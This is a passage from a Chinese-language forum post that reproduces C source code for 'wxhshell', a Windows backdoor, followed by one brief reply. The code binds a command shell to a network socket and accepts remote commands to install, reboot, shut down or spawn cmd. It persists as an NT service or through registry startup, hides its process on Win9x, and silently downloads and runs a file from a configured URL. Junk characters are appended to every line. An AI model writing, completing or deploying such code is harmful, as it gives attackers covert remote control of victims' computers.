  if(DownloadFile(cmd,wsh)) Ur'9bl{5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 42rj6m\  
  else wGEWr2$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rNxrQ  
  } 5;IT64&]  
  else { y;Qy"-)qb  
/xl4ohL$a  
    switch(cmd[0]) { h&)fu{   
  vuYO\u+ud  
  // 帮助 7JbY}@  
  case '?': { P@qMJ}<j  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {eEBrJJeB  
    break; `wNm%*g  
  } iI3v[S  
  // 安装 r?fH &u  
  case 'i': { fv|]= e  
    if(Install()) :]vA 2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'S =sj}X  
    else 8O,? |c=>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b6 $,Xh  
    break; ^#]c0  
    } !n|#|.0m  
  // 卸载 4HM;K_G%{  
  case 'r': { cppL0myJ  
    if(Uninstall()) ,mBZ`X@N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ? Phk~ jE  
    else DW#Bfo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]JH64~a  
    break; +wipfL~&S  
    } {S G*  
  // 显示 wxhshell 所在路径 .:rmA8U[  
  case 'p': { <"<Mbbp  
    char svExeFile[MAX_PATH]; *'6s63)I2  
    strcpy(svExeFile,"\n\r"); djW cbC=g_  
      strcat(svExeFile,ExeFile); )IQ*  
        send(wsh,svExeFile,strlen(svExeFile),0); =/[ltUKs:a  
    break; >QXzMN}o  
    } :pRF*^eU  
  // 重启 =-_)$GOI'  
  case 'b': { cv2]*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); WE0}$P:  
    if(Boot(REBOOT)) 9z:K1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =*r]) Vg^  
    else { Y07ZB'K  
    closesocket(wsh); }x07^4$j  
    ExitThread(0); 4*Hgv:0?kI  
    } @Bf%s(Uj+  
    break; .O0 +H+  
    } LC'{p  
  // 关机 G}ob<`o|"  
  case 'd': { Fd[zDz  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E: $P=%b  
    if(Boot(SHUTDOWN)) id2j7|$,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &C "L  
    else { 2kIa*#VOJ  
    closesocket(wsh);  y"H*%]  
    ExitThread(0); 2C9V|[U,  
    } *fn*h[pV&  
    break; w-t8C=Z  
    } &3TEfvz  
  // 获取shell >o7n+Rb:  
  case 's': { 4Dw@r{  
    CmdShell(wsh); L_wk~z  
    closesocket(wsh); \kU &^Hi  
    ExitThread(0); RF%KA[Dj  
    break; {6_|/KE9_  
  } (K)]qNH  
  // 退出 =[@zF9  
  case 'x': { :n.f_v}6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @AIaC-,~]  
    CloseIt(wsh); to=y#$_  
    break; 4:dH]  
    } "3)4vuX@;c  
  // 离开 /#VhkC _  
  case 'q': { oBzfbg8p  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }}>q2y  
    closesocket(wsh); 7 D^gMN%p  
    WSACleanup(); q(2K6  
    exit(1); jO1r)hw N>  
    break; I~Zh@d%  
        } 5 ({t4dm  
  } O]1y0BOQ  
  } C0}IE,]  
ZRg;/sX]  
  // 提示信息 CJJzCVj  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R)RG[F#   
} TTt#a6eJ  
  } .[3Z1v,  
b{]z w pf  
  return; j+["JXy  
} fv9V7  
iTAx=SG  
// shell模块句柄 jkt_5+S  
int CmdShell(SOCKET sock) >V*mr{/1  
{ !VI]oRgP  
STARTUPINFO si; |(q9"  
ZeroMemory(&si,sizeof(si)); V&\[)D'c  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; BC&9fr  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <\}KT*Xp  
PROCESS_INFORMATION ProcessInfo; ~R26  
char cmdline[]="cmd"; .[JYj(p  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ZfgJ.<<  
  return 0; MgNU``  
} I$0)Px%z  
UmclTGn  
// 自身启动模式 Nd cg/d  
int StartFromService(void) Ou1JIxZ)|  
{ < VSA  
typedef struct |>JS!NM I  
{ A?t%e  
  DWORD ExitStatus; XAe% m^  
  DWORD PebBaseAddress; 5yiK+-iTs  
  DWORD AffinityMask; e^[H[d.WMC  
  DWORD BasePriority; <RG|Dx[:=  
  ULONG UniqueProcessId; cQ" ~\  
  ULONG InheritedFromUniqueProcessId; 8peDI7[|  
}   PROCESS_BASIC_INFORMATION; 82QGS$0V  
x"{'&J[hx  
PROCNTQSIP NtQueryInformationProcess; _cJ2\`M  
Tny%7xSx1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vc+ARgvH+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [.S#rGYk  
P}TI q#  
  HANDLE             hProcess; cdZ~2vk  
  PROCESS_BASIC_INFORMATION pbi; Bxfc}vC.  
$a"n1ou  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $[/&74#0HX  
  if(NULL == hInst ) return 0; yA.4G_|I  
t7?Zxq  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .%Ta]!0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); W034N[9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); e*;c(3>(  
U]vYV  
  if (!NtQueryInformationProcess) return 0; )Ib<F 7v  
:h&fbBH  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f/Hm{<BY  
  if(!hProcess) return 0; lobGj8uxq  
N.]qU d  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; N%"Y  
I S#FiH  
  CloseHandle(hProcess); k=B] &F  
KOp162X>r  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0\@dYPa&C  
if(hProcess==NULL) return 0; ~YRDyQ:%T  
k25WucQ  
HMODULE hMod; OZTPOz.  
char procName[255]; |&[L?  
unsigned long cbNeeded; 'iGzkf}j  
E gal4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); HaYE9/xS  
}f8Uc+  
  CloseHandle(hProcess); k-HCeZ  
_`_%Y(Xat  
if(strstr(procName,"services")) return 1; // 以服务启动 =}v}my3y"  
b D[!/'4eJ  
  return 0; // 注册表启动 Okm{Xx  
} &*7?)eI!i  
zSSB>D  
// 主模块 bV8!"{  
int StartWxhshell(LPSTR lpCmdLine) ywb4LKD  
{ B,K>rCZ/  
  SOCKET wsl; :w<V  
BOOL val=TRUE; e|p$d:#!  
  int port=0; ;IVDr:  
  struct sockaddr_in door; B|4X}*@SX  
9XRZ$j}L  
  if(wscfg.ws_autoins) Install(); F^5?\  
LwK+:4$  
port=atoi(lpCmdLine); OnF3lCmu  
91q8k=p  
if(port<=0) port=wscfg.ws_port; BVr0Gk  
\L(*]:EP  
  WSADATA data; 1 29q`u;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <HJl2p N  
Yb /i{@AJ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   L dm?JrU  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +> WM[o^I  
  door.sin_family = AF_INET; Q"t<3-"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z7_ zMM  
  door.sin_port = htons(port); +\|Iu;w  
2A\,-*pc  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ooV3gj4  
closesocket(wsl); 1XnZy5fEo  
return 1; Ty<L8+B|  
} Y;e,Gq`  
raCi 8  
  if(listen(wsl,2) == INVALID_SOCKET) { _x? uU  
closesocket(wsl); C%U`"-%n@7  
return 1; g=2Rqi5  
} +{/*z  
  Wxhshell(wsl); El o Me~a3  
  WSACleanup(); .'rW.'Ft  
Tzn tO9P+  
return 0; }Y*VAnY6;  
]\xy\\b/`  
} OI?K/rn  
v $7EvFS  
// 以NT服务方式启动 IR-dU<<9O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) G <uyin>  
{ >^Yq|~[  
DWORD   status = 0; Y= ]dvc  
  DWORD   specificError = 0xfffffff; /MF! GM  
l6~-8d+lfN  
  serviceStatus.dwServiceType     = SERVICE_WIN32; n f.wCtf].  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; z9p05NFH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; X5khCL Hi  
  serviceStatus.dwWin32ExitCode     = 0; d5>H3D{49  
  serviceStatus.dwServiceSpecificExitCode = 0; cI=r+ OGk*  
  serviceStatus.dwCheckPoint       = 0; =e}H'5?!  
  serviceStatus.dwWaitHint       = 0; f_imyzP   
:gB[O>'<m  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A)~X,  
  if (hServiceStatusHandle==0) return; ^<:sdv>Y5  
p?2Y }9  
status = GetLastError(); i:cXwQG}B  
  if (status!=NO_ERROR) ` iJhG^w9M  
{ X5]TY]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <97d[/7i  
    serviceStatus.dwCheckPoint       = 0; 8UMF q  
    serviceStatus.dwWaitHint       = 0; ^47PLLRP  
    serviceStatus.dwWin32ExitCode     = status; p[@5&_u(z  
    serviceStatus.dwServiceSpecificExitCode = specificError; g1UGd  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); v|ck>_" .  
    return; v"MX>^/<  
  } UDc$"a}ds{  
yR~R:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; LFZ iPu  
  serviceStatus.dwCheckPoint       = 0; )$&dg2[  
  serviceStatus.dwWaitHint       = 0; i z~ pGkt  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #k$)i[aI-  
} &I({T`=  
N,J9Wu ZJ\  
// 处理NT服务事件,比如:启动、停止 ;),BW g  
VOID WINAPI NTServiceHandler(DWORD fdwControl) NB7Y{) w  
{ 6MG9a>=  
switch(fdwControl) QnI.zq V  
{ 5I,gBT|B  
case SERVICE_CONTROL_STOP: bC^(U`y32  
  serviceStatus.dwWin32ExitCode = 0; _oB_YL;,*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )%X;^(zKM  
  serviceStatus.dwCheckPoint   = 0; a|BcnYN  
  serviceStatus.dwWaitHint     = 0; +'G0{;b  
  { bpkwn<7-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MzYavg`  
  } ,=~z6[  
  return; 9ktEm|F3  
case SERVICE_CONTROL_PAUSE: gUR]{dq^'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <N(oDaU  
  break; r{sebE\ ;  
case SERVICE_CONTROL_CONTINUE: %Td )0Lqp  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; a Zk&`Jpz  
  break;  2T)sXBu  
case SERVICE_CONTROL_INTERROGATE: (5 <^p&  
  break; L!'k ! k  
}; Vi]c%*k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F=)&98^v$_  
} !$g+F(:(c  
+y#T?!jQYj  
// 标准应用程序主函数 @cq`:_.[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8seBT ;S  
{ rxO2js  
)B!d,HKt;  
// 获取操作系统版本 +<.\5+  
OsIsNt=GetOsVer();  y\F=ui  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .A1\J@b  
<8 #ObdY!  
  // 从命令行安装 ]feyJLF  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6e25V4e?I  
gLL\F1|0x  
  // 下载执行文件 'ZQWYr9R  
if(wscfg.ws_downexe) { ?`zgq>R}w[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) n(lk dw  
  WinExec(wscfg.ws_filenam,SW_HIDE); *]x*B@RF  
} oh#> 5cA8  
3P <'F2o  
if(!OsIsNt) { IC{F.2D  
// 如果时win9x,隐藏进程并且设置为注册表启动 JeY' 8B  
HideProc(); o0p T6N)  
StartWxhshell(lpCmdLine); a}d6o;li  
} R: aYL~  
else P|^$kK  
  if(StartFromService()) D6Y6^eS-  
  // 以服务方式启动 n+D#k 8{  
  StartServiceCtrlDispatcher(DispatchTable); \h3e-)  
else 2 [!Mx&^  
  // 普通方式启动 qd!#t]  
  StartWxhshell(lpCmdLine); m]IysyFFK  
rwpgBl  
return 0; 2 Y|D'^  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八